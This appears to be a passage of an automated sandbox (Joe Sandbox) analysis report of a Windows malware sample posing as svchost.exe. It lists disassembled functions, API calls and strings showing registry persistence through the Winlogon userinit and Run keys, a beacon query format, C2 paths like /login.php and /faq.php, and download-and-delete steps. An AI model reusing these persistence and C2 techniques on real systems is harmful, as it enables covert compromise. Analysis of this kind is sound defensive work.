                                                                                                                                                                                                            control_flow_graph 1018 2c868b0-2c868c2 1019 2c868c5-2c868ca 1018->1019 1019->1019 1020 2c868cc-2c868d3 1019->1020 1021 2c868d9-2c868e6 PathFileExistsA 1020->1021 1022 2c86ab7-2c86abf IsUserAnAdmin 1020->1022 1021->1022 1025 2c868ec-2c8690b RegOpenKeyExA 1021->1025 1023 2c86ad8-2c86ae8 1022->1023 1024 2c86ac1-2c86ad6 1022->1024 1026 2c86aed-2c86af5 RegOpenKeyExA 1023->1026 1024->1026 1027 2c86a58-2c86a71 RegOpenKeyExA 1025->1027 1028 2c86911-2c86935 RegQueryValueExA 1025->1028 1032 2c86b4b-2c86b51 1026->1032 1033 2c86af7-2c86b06 CreateEventA 1026->1033 1027->1022 1031 2c86a73-2c86a7b 1027->1031 1029 2c86a48-2c86a56 RegFlushKey 1028->1029 1030 2c8693b-2c86955 GetProcessHeap HeapAlloc 1028->1030 1035 2c86ab1 RegCloseKey 1029->1035 1030->1029 1034 2c8695b-2c86989 memset RegQueryValueExA StrStrIA 1030->1034 1036 2c86a80-2c86a85 1031->1036 1033->1032 1037 2c86b08-2c86b1b RegNotifyChangeKeyValue 1033->1037 1039 2c8698f-2c86991 1034->1039 1040 2c86a26-2c86a3a GetProcessHeap HeapValidate 1034->1040 1035->1022 1036->1036 1041 2c86a87-2c86ab0 RegSetValueExA RegFlushKey 1036->1041 1038 2c86b21-2c86b28 WaitForSingleObject 1037->1038 1038->1038 1042 2c86b2a-2c86b30 1038->1042 1043 2c86994-2c86999 1039->1043 1040->1029 1044 2c86a3c-2c86a42 GetProcessHeap HeapFree 1040->1044 1041->1035 1045 2c86b3c-2c86b49 RegNotifyChangeKeyValue 1042->1045 1046 2c86b32-2c86b37 call 2c92f90 1042->1046 1043->1043 1047 2c8699b-2c8699d 1043->1047 1044->1029 1045->1038 1046->1045 1049 2c8699f-2c869a4 1047->1049 1050 2c869c1-2c869c6 1047->1050 1049->1050 1051 2c869a6-2c869a9 1049->1051 1052 2c869c8-2c869cd 1050->1052 1053 2c869b0-2c869b6 1051->1053 1052->1052 1054 2c869cf-2c869d1 1052->1054 1053->1053 1055 2c869b8-2c869be 1053->1055 1056 2c869d4-2c869da 1054->1056 1055->1050 1056->1056 1057 2c869dc-2c869ed 1056->1057 1058 2c869f0-2c869f6 1057->1058 1058->1058 1059 2c869f8-2c86a04 1058->1059 1060 2c86a07-2c86a0c 1059->1060 1060->1060 1061 2c86a0e-2c86a20 RegSetValueExA 1060->1061 1061->1040
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(C:\Windows\apppatch\svchost.exe), ref: 02C868DE
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000103,?), ref: 02C86907
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,userinit,00000000,00000000,00000000,00000000), ref: 02C86927
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000010), ref: 02C86944
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C8694B
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8695F
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,userinit,00000000,00000000,00000000,00000000), ref: 02C86979
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,C:\Windows\apppatch\svchost.exe), ref: 02C86981
                                                                                                                                                                                                            • RegSetValueExA.KERNEL32(?,userinit,00000000,00000001,00000000,00000002), ref: 02C86A20
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C86A2F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C86A32
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C86A3F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C86A42
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02C86A4C
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,000F013F,?), ref: 02C86A6D
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe), ref: 02C86A9D
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02C86AA7
                                                                                                                                                                                                            • RegCloseKey.KERNEL32(?), ref: 02C86AB1
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C86AB7
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,?), ref: 02C86AED
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02C86AFC
                                                                                                                                                                                                            • RegNotifyChangeKeyValue.KERNEL32(?,00000000,0000000F,00000000,00000001), ref: 02C86B19
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C86B24
                                                                                                                                                                                                            • RegNotifyChangeKeyValue.ADVAPI32(?,00000000,0000000F,00000000,00000001), ref: 02C86B47
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HeapValue$OpenProcess$ChangeFlushNotifyQuery$AdminAllocCloseCreateEventExistsFileFreeObjectPathSingleUserValidateWaitmemset
                                                                                                                                                                                                            • String ID: ,$C:\Windows\apppatch\svchost.exe$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 2213373080-1283825033
                                                                                                                                                                                                            • Opcode ID: bf019f43bef0af59052552b5b09ef3271221621f387e42b16880c8e3a12a44c3
                                                                                                                                                                                                            • Instruction ID: 8822c7c67e2016f5214d1eb9464f0d1547cdcdbd9c47378666bae36805e27dd0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bf019f43bef0af59052552b5b09ef3271221621f387e42b16880c8e3a12a44c3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C071D971E84245BBEB119B649C49FBBB76CDF84708F208694F941BB280DBB1DA05C7A0
                                                                                                                                                                                                            Function 02C75C80 Relevance: 49.2, APIs: 25, Strings: 3, Instructions: 248memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 1062 2c75c80-2c75cbe memset call 2c839c0 1065 2c75cc4-2c75cd8 call 2c76570 1062->1065 1066 2c75f19-2c75f22 PathFileExistsA 1062->1066 1072 2c75cde-2c75cf3 calloc * 2 1065->1072 1073 2c75f18 1065->1073 1067 2c75f24-2c75f26 1066->1067 1068 2c75f38-2c75f3f 1066->1068 1067->1068 1070 2c75f28-2c75f32 SetFileAttributesA DeleteFileA 1067->1070 1070->1068 1074 2c75cf5-2c75cf6 exit 1072->1074 1075 2c75cfc-2c75d06 calloc 1072->1075 1073->1066 1074->1075 1076 2c75d0f-2c75d30 calloc 1075->1076 1077 2c75d08-2c75d09 exit 1075->1077 1078 2c75d32-2c75d33 exit 1076->1078 1079 2c75d39-2c75d43 calloc 1076->1079 1077->1076 1078->1079 1080 2c75d45-2c75d46 exit 1079->1080 1081 2c75d4c-2c75d6d calloc 1079->1081 1080->1081 1082 2c75d77-2c75d82 calloc 1081->1082 1083 2c75d6f-2c75d71 exit 1081->1083 1084 2c75d84-2c75d86 exit 1082->1084 1085 2c75d8c-2c75db2 calloc 1082->1085 1083->1082 1084->1085 1086 2c75db4-2c75db6 exit 1085->1086 1087 2c75dbc-2c75dcb calloc 1085->1087 1086->1087 1088 2c75dd5-2c75e26 call 2c719a0 * 3 call 2c71a10 1087->1088 1089 2c75dcd-2c75dcf exit 1087->1089 1098 2c75e28-2c75e30 1088->1098 1089->1088 1098->1098 1099 2c75e32-2c75e4b _strrev 1098->1099 1100 2c75e50-2c75e55 1099->1100 1100->1100 1101 2c75e57-2c75e66 1100->1101 1102 2c75e7c-2c75e7e 1101->1102 1103 2c75e68-2c75e6c 1101->1103 1104 2c75e80-2c75e88 1102->1104 1106 2c75ec3 1102->1106 1103->1104 1105 2c75e6e-2c75e7a 1103->1105 1108 2c75ebb-2c75ec1 1104->1108 1109 2c75e8a-2c75e8d 1104->1109 1105->1102 1105->1103 1107 2c75ec5-2c75f07 call 2c71850 * 4 GetProcessHeap HeapValidate 1106->1107 1123 2c75f15 1107->1123 1124 2c75f09-2c75f0f GetProcessHeap RtlFreeHeap 1107->1124 1108->1107 1109->1106 1111 2c75e8f-2c75e99 1109->1111 1111->1108 1112 2c75e9b-2c75e9e 1111->1112 1112->1106 1114 2c75ea0-2c75eaa 1112->1114 1114->1108 1116 2c75eac-2c75eaf 1114->1116 1116->1106 1118 2c75eb1-2c75eb9 1116->1118 1118->1108 1123->1073 1124->1123
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C75CA0
                                                                                                                                                                                                              • Part of subcall function 02C839C0: memset.MSVCRT ref: 02C839F2
                                                                                                                                                                                                              • Part of subcall function 02C839C0: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02C83A7E
                                                                                                                                                                                                              • Part of subcall function 02C839C0: InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C83A9F
                                                                                                                                                                                                              • Part of subcall function 02C839C0: HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83AD5
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75CE7
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75CF6
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75CFF
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75D09
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75D27
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75D33
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75D3C
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75D46
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75D64
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75D71
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75D7B
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75D86
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75DA9
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75DB6
                                                                                                                                                                                                            • calloc.MSVCRT ref: 02C75DC0
                                                                                                                                                                                                            • exit.MSVCRT ref: 02C75DCF
                                                                                                                                                                                                            • _strrev.MSVCRT ref: 02C75E39
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C76406,?), ref: 02C75EFC
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C75EFF
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C75F0C
                                                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000000), ref: 02C75F0F
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(02C76406,02C76406,/login.php,02C76406,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 02C75F1A
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(02C76406,00000000,?,00000000,00000000), ref: 02C75F2B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(02C76406,?,00000000,00000000), ref: 02C75F32
                                                                                                                                                                                                              • Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
                                                                                                                                                                                                              • Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
                                                                                                                                                                                                              • Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
                                                                                                                                                                                                              • Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
                                                                                                                                                                                                              • Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
                                                                                                                                                                                                              • Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • /login.php, xrefs: 02C75CB1
                                                                                                                                                                                                            • 6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9, xrefs: 02C75DDD
                                                                                                                                                                                                            • 10001, xrefs: 02C75DFA
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$callocexit$File$Process$memset$FreeHandleInternetOpenValidate$AllocateAttributesCloseConnectCreateDeleteExistsHttpInformationPathReadRequestSizeWrite_strrev
                                                                                                                                                                                                            • String ID: /login.php$10001$6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9
                                                                                                                                                                                                            • API String ID: 550513112-2761129557
                                                                                                                                                                                                            • Opcode ID: 2a7eddcdeb8045a698a5e8522566253d47138d8247603723de7eecf209b64428
                                                                                                                                                                                                            • Instruction ID: 0232dead3d0be3a74cf210bb2837edbe1b3ac61b181474ee5f9503a028576102
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2a7eddcdeb8045a698a5e8522566253d47138d8247603723de7eecf209b64428
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 76813870E402A5AFEB229F648C84BAFBFB8EF41344F044559ED45A7281D7B5DA04CBE1
                                                                                                                                                                                                            Function 02C85590 Relevance: 49.2, APIs: 25, Strings: 3, Instructions: 242memorysleepfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 1125 2c85590-2c855c3 memset call 2c732f0 1128 2c855c6-2c855cb 1125->1128 1128->1128 1129 2c855cd-2c855d7 1128->1129 1130 2c855dd-2c855f9 GetProcessHeap HeapAlloc 1129->1130 1131 2c8587f-2c85882 1129->1131 1132 2c8587e 1130->1132 1133 2c855ff-2c85612 memset GetTimeZoneInformation 1130->1133 1132->1131 1134 2c85618-2c8561f call 2c83d90 1133->1134 1137 2c85621-2c85633 Sleep call 2c83d90 1134->1137 1138 2c85635-2c85643 1134->1138 1137->1138 1139 2c8564c-2c8565b IsUserAnAdmin 1138->1139 1140 2c85645 1138->1140 1143 2c8565d 1139->1143 1144 2c85664-2c8571a GetTickCount call 2c93d20 _snprintf GetTempPathA GetTempFileNameA SetFileAttributesA DeleteFileA 1139->1144 1140->1139 1143->1144 1147 2c85720-2c85725 1144->1147 1147->1147 1148 2c85727-2c8573b call 2c76240 1147->1148 1151 2c8579a-2c857b9 call 2c839c0 1148->1151 1152 2c8573d-2c8573f 1148->1152 1158 2c857bb-2c857ce call 2c76570 1151->1158 1159 2c85815-2c8581c call 2c83d90 1151->1159 1154 2c85741-2c85743 1152->1154 1155 2c85792-2c85794 1152->1155 1157 2c85745-2c85749 1154->1157 1155->1151 1160 2c8574b-2c8574d 1157->1160 1161 2c85765-2c85767 1157->1161 1174 2c857d0-2c857e9 call 2c84950 GetProcessHeap HeapValidate 1158->1174 1175 2c857f7-2c85813 SetFileAttributesA DeleteFileA 1158->1175 1171 2c8581e call 2c763b0 1159->1171 1172 2c85823-2c85837 call 2c848b0 call 2c73430 1159->1172 1162 2c8574f-2c85755 1160->1162 1163 2c85761-2c85763 1160->1163 1165 2c8576a-2c8576c 1161->1165 1162->1161 1167 2c85757-2c8575f 1162->1167 1163->1165 1165->1151 1169 2c8576e-2c85780 GetProcessHeap HeapValidate 1165->1169 1167->1157 1167->1163 1169->1155 1173 2c85782-2c8578c GetProcessHeap HeapFree 1169->1173 1171->1172 1184 2c85839-2c8584c 1172->1184 1185 2c85872-2c85879 Sleep 1172->1185 1173->1155 1174->1175 1181 2c857eb-2c857f1 GetProcessHeap HeapFree 1174->1181 1175->1172 1181->1175 1186 2c85850-2c85857 Sleep call 2c73430 1184->1186 1185->1134 1188 2c8585c-2c8585e 1186->1188 1188->1134 1189 2c85864-2c8586b 1188->1189 1189->1186 1190 2c8586d 1189->1190 1190->1134
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C855B1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-000000F0,?,00000000), ref: 02C855E7
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02C855EE
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C85603
                                                                                                                                                                                                            • GetTimeZoneInformation.KERNEL32(00000000,?,?,00000000), ref: 02C85612
                                                                                                                                                                                                            • Sleep.KERNEL32(000001F4), ref: 02C85626
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8564C
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C8568A
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C856C6
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?), ref: 02C856DB
                                                                                                                                                                                                            • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02C856F3
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C85702
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C8570F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85771
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C85778
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85785
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8578C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000001,00000000,/faq.php,?,00000001,?,02CB7A90,00000001,00000000), ref: 02C857DE
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C857E1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C857EE
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C857F1
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000,00000000,00000001,00000000,/faq.php,?,00000001,?,02CB7A90,00000001,00000000), ref: 02C85800
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C8580D
                                                                                                                                                                                                            • Sleep.KERNEL32(?,00000000,/faq.php,?,00000001,?,02CB7A8C,00000001,00000000), ref: 02C85851
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
                                                                                                                                                                                                              • Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75
                                                                                                                                                                                                            • Sleep.KERNEL32(00000000,00000000,/faq.php,?,00000001,?,02CB7A8C,00000001,00000000), ref: 02C85873
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • id=%s&ver=4.0.1&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d, xrefs: 02C856BF
                                                                                                                                                                                                            • /faq.php, xrefs: 02C857AC
                                                                                                                                                                                                            • %2b, xrefs: 02C8563C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FileProcess$memset$Sleep$AdminAttributesCheckConnectionDeleteFreeInternetTempUserValidatelstrcpyn$AliveAllocCacheCountFlushInformationNameNetworkPathResolverTickTimeZone_snprintf
                                                                                                                                                                                                            • String ID: %2b$/faq.php$id=%s&ver=4.0.1&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d
                                                                                                                                                                                                            • API String ID: 3187169398-2843672900
                                                                                                                                                                                                            • Opcode ID: be2803115a0e9cbeb4c2860de464123b1cd91aff08b2676f9e31f8151721c4ef
                                                                                                                                                                                                            • Instruction ID: 8833a8bceabfceadb4c51c836d4e23b1a1e0e2c7b996f887b9cde1ca41dd3caf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: be2803115a0e9cbeb4c2860de464123b1cd91aff08b2676f9e31f8151721c4ef
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D8812A72E80255ABDB25AB749C48FEA7B69EF84344F45C6D0E905D72C0EB70DA04CBA1
                                                                                                                                                                                                            Function 02C83A35 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 174memorynetworkfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 1191 2c83a35-2c83a3c 1192 2c83a40-2c83a51 1191->1192 1193 2c83a53 1192->1193 1194 2c83a55-2c83a5c 1192->1194 1193->1194 1194->1192 1195 2c83a5e-2c83a8b call 2c86c40 InternetOpenA 1194->1195 1198 2c83d4d-2c83d4f 1195->1198 1199 2c83a91-2c83aac InternetConnectA 1195->1199 1200 2c83d7f-2c83d87 1198->1200 1201 2c83d51-2c83d7c call 2c83620 1198->1201 1202 2c83ab2-2c83abb 1199->1202 1203 2c83d43-2c83d4a InternetCloseHandle 1199->1203 1205 2c83abd 1202->1205 1206 2c83ac2-2c83ae2 HttpOpenRequestA 1202->1206 1203->1198 1205->1206 1208 2c83ae8-2c83af6 1206->1208 1209 2c83d39-2c83d40 InternetCloseHandle 1206->1209 1210 2c83af8-2c83afc 1208->1210 1211 2c83b0d-2c83b20 HttpAddRequestHeadersA 1208->1211 1209->1203 1210->1211 1212 2c83afe-2c83b0b HttpAddRequestHeadersA 1210->1212 1213 2c83b52-2c83b67 HttpSendRequestA 1211->1213 1214 2c83b22-2c83b50 _snprintf HttpAddRequestHeadersA 1211->1214 1212->1211 1215 2c83d2c-2c83d36 InternetCloseHandle 1213->1215 1216 2c83b6d-2c83b87 HttpQueryInfoA 1213->1216 1214->1213 1215->1209 1216->1215 1217 2c83b8d-2c83b94 1216->1217 1217->1215 1218 2c83b9a-2c83bbe CreateFileA 1217->1218 1218->1215 1219 2c83bc4-2c83bca 1218->1219 1220 2c83bd0-2c83be4 GetProcessHeap RtlAllocateHeap 1219->1220 1221 2c83bea-2c83c17 memset InternetReadFile 1220->1221 1222 2c83c73-2c83c75 1220->1222 1223 2c83c19-2c83c1e 1221->1223 1224 2c83c57-2c83c65 GetProcessHeap HeapValidate 1221->1224 1225 2c83c9a-2c83cac call 2c76570 1222->1225 1226 2c83c77-2c83c8b GetHandleInformation 1222->1226 1223->1224 1228 2c83c20-2c83c44 WriteFile GetProcessHeap HeapValidate 1223->1228 1224->1222 1229 2c83c67-2c83c6d GetProcessHeap HeapFree 1224->1229 1234 2c83d29 1225->1234 1235 2c83cb2-2c83cbc 1225->1235 1226->1225 1230 2c83c8d-2c83c91 1226->1230 1228->1220 1232 2c83c46-2c83c52 GetProcessHeap HeapFree 1228->1232 1229->1222 1230->1225 1233 2c83c93-2c83c94 CloseHandle 1230->1233 1232->1220 1233->1225 1234->1215 1236 2c83cc0-2c83cce 1235->1236 1236->1236 1237 2c83cd0 1236->1237 1238 2c83cd2-2c83ce3 1237->1238 1239 2c83ce5 1238->1239 1240 2c83ce7-2c83cee 1238->1240 1239->1240 1240->1238 1241 2c83cf0-2c83d1b call 2c86c40 call 2c764d0 GetProcessHeap HeapValidate 1240->1241 1241->1234 1246 2c83d1d-2c83d23 GetProcessHeap RtlFreeHeap 1241->1246 1246->1234
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02C83A7E
                                                                                                                                                                                                            • InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C83A9F
                                                                                                                                                                                                            • HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83AD5
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83B0B
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83B1A
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C83B38
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C83B50
                                                                                                                                                                                                            • HttpSendRequestA.WININET(00000000,00000000,00000000,02C76406,?), ref: 02C83B5F
